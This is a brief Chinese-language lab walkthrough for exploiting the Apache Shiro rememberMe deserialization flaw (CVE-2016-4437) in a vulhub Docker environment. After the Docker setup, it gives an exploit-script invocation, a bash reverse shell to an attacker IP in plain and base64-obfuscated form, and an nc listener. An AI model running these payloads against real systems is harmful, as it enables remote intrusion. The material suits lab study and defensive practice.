一 漏洞描述
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
1.kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载vulhub
git clone https://github.com/vulhub/vulhub.git
在vulhub目录shiro目录下选择CVE-2016-4437启动环境
docker-compose up -d
2.访问网址:目标IP地址:端口号(192.168.1.129:8080)
burp抓包
执行python 命令
python.exe .\shiro_exploit.py -u 192.168.1.129:8080
对反弹shell进行加解密
bash -i >& /dev/tcp/192.168.1.12/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvMTIzNCAwPiYx} |{base64,-d}|{bash,-i}
开启nc监听
nc -lvp 1234
kali 执行命令
python3 shiro_exploit.py -t 3 -u http://192.168.1.129:8080 -p “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}”
反弹结果